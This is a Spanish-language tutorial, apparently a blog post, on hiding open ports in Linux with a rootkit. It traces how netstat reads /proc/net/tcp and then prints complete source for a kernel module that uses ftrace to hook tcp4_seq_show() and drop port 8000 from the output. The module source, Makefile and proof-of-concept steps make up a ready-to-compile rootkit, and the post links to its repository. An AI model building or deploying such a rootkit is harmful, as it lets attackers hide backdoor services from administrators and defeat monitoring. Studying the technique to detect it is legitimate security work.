Ocultando Puertos Abiertos en Linux con Rootkits

25 de marzo de 2025


main_image

Introducción

En sistemas Linux, uno de los métodos más comunes para ocultar puertos abiertos es mediante el uso de rootkits, que permiten modificar o interceptar las funciones del kernel para alterar el comportamiento de las aplicaciones y herramientas del sistema. En este artículo, exploramos cómo ocultar puertos específicos de la salida de comandos como netstat, manipulando la función tcp4_seq_show() del kernel de Linux.

Identificando el Origen de los Datos

Para ocultar un puerto en un sistema Linux, primero necesitamos entender de dónde obtiene la información netstat. Utilizando la herramienta strace, podemos rastrear cómo netstat interactúa con el sistema para obtener estos datos. En particular, ejecutamos el siguiente comando:

Este comando rastrea las llamadas al sistema openat, que se utilizan para abrir archivos, y permite observar qué archivos está abriendo netstat para generar la salida de las conexiones de red.

De acuerdo con los resultados, descubrimos que netstat lee los archivos /proc/net/tcp y /proc/net/tcp6. Estos archivos contienen la información detallada sobre las conexiones de red TCP activas en el sistema. Específicamente:

  • /proc/net/tcp contiene información sobre las conexiones IPv4.
  • /proc/net/tcp6 contiene información sobre las conexiones IPv6.

El formato de estos archivos es binario, pero la información contenida en ellos puede ser interpretada para mostrar detalles como el estado de las conexiones, las direcciones IP y los puertos asociados a cada una. Así, cuando ejecutamos netstat, está consultando directamente estos archivos para construir la salida que muestra a los usuarios.

Nuestro objetivo, en este caso, es manipular esta salida, particularmente la que proviene de /proc/net/tcp, con el fin de ocultar un puerto específico. Para lograrlo, podemos intervenir en el proceso de lectura de estos archivos mediante un hook (interceptor) en las funciones del sistema que acceden a estos archivos. Un hook sería una técnica para modificar o "interceptar" las funciones que netstat utiliza para leer los datos, permitiéndonos alterar o filtrar la información antes de que se muestre.

Archivos en /proc

En sistemas Linux, el directorio /proc no contiene archivos tradicionales como los que encontramos en el sistema de archivos. En su lugar, contiene archivos especiales, conocidos como archivos de procfs, que representan información dinámica sobre el estado del kernel y de los procesos en ejecución. Estos archivos son generados "al vuelo" por el kernel, lo que significa que su contenido no está almacenado en disco, sino que es producido dinámicamente cada vez que el usuario o las aplicaciones acceden a ellos.

Por ejemplo, /proc/net/tcp es un archivo que contiene información sobre las conexiones TCP activas del sistema. El kernel gestiona estos archivos a través de funciones del sistema que se ejecutan cuando se intenta acceder a ellos.

¿Cómo se controla la salida de /proc/net/tcp?

Para manipular la salida de un archivo como /proc/net/tcp, necesitamos saber qué función del kernel se encarga de generar el contenido cuando se lee este archivo. En el caso específico de las conexiones TCP IPv4, el kernel tiene una función encargada de mostrar esta información: tcp4_seq_show(). Esta función se encuentra en el archivo fuente net/ipv4/tcp_ipv4.c.

Cuando el sistema lee el archivo /proc/net/tcp, el kernel invoca la función tcp4_seq_show() para recopilar la información sobre las conexiones TCP y luego la formatea para que se pueda mostrar en la salida del archivo. Para modificar o interceptar el comportamiento de este archivo, necesitamos modificar o reemplazar esta función de alguna manera, como a través de un hook.

Identificación de la función que maneja /proc/net/tcp

Para encontrar cuál es la función que se encarga de generar los datos de /proc/net/tcp, se debe realizar un análisis más profundo del kernel. Si examinamos el contenido del archivo, podemos ver que cada socket está identificado por un número de secuencia, que se almacena en la columna sl (sequence label).

La pregunta clave es: ¿qué función del kernel está generando esta información cuando se lee el archivo /proc/net/tcp? Este análisis es esencial para comprender cómo se maneja la salida que se muestra en ese archivo.

El kernel de Linux mantiene una tabla de símbolos que contiene todas las funciones y variables globales que están disponibles para otros módulos o aplicaciones. Podemos buscar una función específica en esta tabla, situada dentro de /proc/kallsyms, en la que se puede filtrar por una cadena de texto para encontrar las funciones encargadas de controlar las secuencias TCP.

Teniendo el nombre las funciones, podemos consultar el código fuente del kernel para ver su funcionamiento más en detalle. En este caso, la función tcp4_seq_show() se encarga de mostrar la información de las conexiones TCP en /proc/net/tcp.

Se define dentro del archivo tcp_ipv4.c, donde podemos observar su implementación.

Al principio, el código muestra la estructura de cómo funciona la función tcp4_seq_show(). La función recibe un puntero v que se convierte en un puntero a un struct sock con el siguiente fragmento:

struct sock *sk = v;

La estructura sock es la representación a nivel de red de un socket y se encuentra definida en el archivo include/net/sock.h. Esta estructura tiene varios campos, entre los cuales buscamos el que contiene el puerto local que está escuchando el socket.

Dentro de la estructura sock, encontramos el campo __sk_common, que es otra estructura que tiene varios campos, entre ellos el campo skc_dport, que es el puerto de destino. Sin embargo, la forma más sencilla de acceder al número de puerto es a través del campo sk_num, que corresponde al número de puerto local del socket.

El campo skc_num se encuentra dentro de la estructura sock_common, que es parte de la estructura sock en el kernel de Linux.

sock_common es una estructura interna utilizada por el kernel de Linux para representar propiedades comunes de los sockets, como las direcciones IP y los números de puerto asociados con las conexiones de red. Dentro de esta estructura, encontramos un union llamado skc_portpair, que se utiliza para representar los puertos de manera eficiente. Este union agrupa los campos relacionados con los puertos, entre los que se encuentran skc_dport y skc_num.

El propósito de este union es almacenar las representaciones de los puertos de una conexión TCP en un solo bloque de memoria de manera eficiente. Sin embargo, no se utilizan ambos campos del union a la vez. En su lugar, depende del contexto de la conexión de red el campo que se utiliza.

Dentro del union tenemos dos campos importantes:

  1. skc_dport: Representa el puerto de destino de la conexión (16 bits, __be16).

  2. skc_num: Representa el número de puerto local del socket (16 bits, __u16).

Ambos campos ocupan el mismo espacio de memoria, pero dependiendo de la situación, uno u otro será accesible. En el caso de las conexiones TCP locales, el campo que nos interesa es skc_num, que es el número de puerto local.

El Método para Crear un Hook

Para poder manipular la salida del /proc/net/tcp, necesitamos acceder al puerto local de las conexiones TCP. El campo skc_num es el que contiene esta información. Para obtener el número de puerto de un socket, simplemente debemos acceder a sk_num en la estructura sock. Por ejemplo:

struct sock *sk = v;  // v es el puntero al socket

if (sk->sk_num == 8000) {
    // Si el puerto es 8000, podemos realizar alguna acción
}

Ahora bien, volvamos a examinar los puertos que, en principio, son los que están abiertos.

El valor del puerto se encuentra en formato hexadecimal y en Little Endian. Al convertirlo a decimal, se obtiene el valor 8000, correspondiente a un servicio HTTP.

Implementando el Hook

Para poder compilar el hook, serán necesarias las siguientes dependencias:

  • gcc
  • make
  • linux-headers

Se pueden instalar con el siguiente comando:

sudo apt install gcc make build-essential linux-headers-$(uname -r)

Utilizaremos la biblioteca ftrace_helper.h para hacer las llamadas al sistema que instalan y desinstalan los hooks.

En este segmento del código, implementamos un módulo para ocultar conexiones de un puerto específico (en este caso, el puerto 8000) de la salida de netstat. Para hacerlo, utilizamos un hook sobre la función tcp4_seq_show, que es la encargada de mostrar las conexiones TCP activas al leer el archivo /proc/net/tcp. La clave aquí es interceptar esta función para filtrar las conexiones que no queremos que se muestren, específicamente las que estén usando el puerto que deseamos ocultar.

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/tcp.h>

#include "ftrace_helper.h"

#define PORT_TO_HIDE 8000

MODULE_LICENSE("GPL");
MODULE_AUTHOR("rubbx");
MODULE_DESCRIPTION("Hiding connections from specific port");
MODULE_VERSION("1.0");

Aquí se incluyen las cabeceras necesarias para trabajar con módulos del núcleo, manejo de llamadas del sistema, y ftrace (una herramienta para instrumentar el núcleo de Linux). También se define la constante PORT_TO_HIDE como el puerto que se va a ocultar, en este caso, el puerto 8000.

static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);

La variable orig_tcp4_seq_show es un puntero a la función original tcp4_seq_show, que se utilizará para restaurar la funcionalidad original después de que se haya ejecutado nuestro hook. El propósito de este puntero es permitirnos interceptar y modificar el comportamiento de la función sin modificar directamente el código original.

static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct inet_sock *is;
    long ret;
    int port_to_hide = htons(PORT_TO_HIDE);

    if (v != SEQ_START_TOKEN) {
        is = (struct inet_sock *)v;

        if (port_to_hide == is->inet_dport || port_to_hide == is->inet_sport) {
            return 0;
        }
    }

    ret = orig_tcp4_seq_show(seq, v);
    return ret;
}

Esta es la función que actúa como hook de la función tcp4_seq_show. Aquí está lo que hace cada parte:

  1. Casting de v a inet_sock: El argumento v es un puntero a un socket, y lo convertimos en un puntero a la estructura inet_sock para acceder fácilmente a los campos que contienen los puertos de la conexión.
static struct ftrace_hook hooks[] = {
    HOOK("tcp4_seq_show", hook_tcp4_seq_show, &orig_tcp4_seq_show),
};

Se declara un array de hooks utilizando ftrace, que es una herramienta que permite interceptar funciones del núcleo de Linux en tiempo de ejecución. Cada elemento de este array se utiliza para asociar una función del núcleo (en este caso, tcp4_seq_show) con una función personalizada (en este caso, hook_tcp4_seq_show).

static int __init rootkit_init(void)
{
    int err;
    err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
    if (err)
        return err;

    printk(KERN_INFO "rootkit: Loaded (port hiding) >:-)\n");

    return 0;
}

La función rootkit_init() se ejecuta cuando el módulo se carga en el núcleo de Linux. En esta función es donde se configuran los hooks y se realiza la instalación para que el comportamiento deseado (en este caso, ocultar un puerto específico) se active. Este proceso se lleva a cabo mediante el uso de ftrace, una herramienta para instrumentar funciones del núcleo.

static void __exit rootkit_exit(void)
{
    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
    printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

La función rootkit_exit() se ejecuta cuando el módulo se descarga del núcleo de Linux, es decir, cuando se utiliza el comando rmmod para quitar el módulo cargado. Esta función es responsable de limpiar los cambios que hizo el módulo, en este caso, eliminando los hooks que se instalaron previamente para ocultar puertos específicos.

module_init(rootkit_init);
module_exit(rootkit_exit);

Las macros module_init() y module_exit() son parte de la infraestructura de módulos del núcleo de Linux y se utilizan para definir qué funciones deben ejecutarse al cargar y descargar un módulo, respectivamente. Estas macros son esenciales para el ciclo de vida del módulo en el sistema operativo.

A modo de resumen, se pueden diferenciar las siguientes partes:

  1. Verificar si el puerto de escucha (sk->sk_num) coincide con el puerto que queremos ocultar (por ejemplo, 8000).
  2. Si el puerto coincide, retornar 0 para evitar que la línea correspondiente se muestre en la salida de /proc/net/tcp.
  3. Si el puerto no coincide, llamar a la función original tcp4_seq_show() para mostrar la línea normalmente.
  4. Verificar que el puntero sk no sea igual a 0x1, lo que nos ayuda a evitar errores cuando se maneja la cabecera de la tabla.

El Makefile para compilar está formado por lo siguiente:

obj-m += rootkit.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Prueba de Concepto

  1. Se compila el módulo utilizando make

  1. Se comprueba que el puerto 8000 está abierto

  1. Se carga el rootkit en el kernel

  1. Se comprueba que el puerto 8000 no aparece pese a estar python ejecutándose

El código del rootkit se puede encontrar aquí https://github.com/rubbxalc/hide-port-rootkit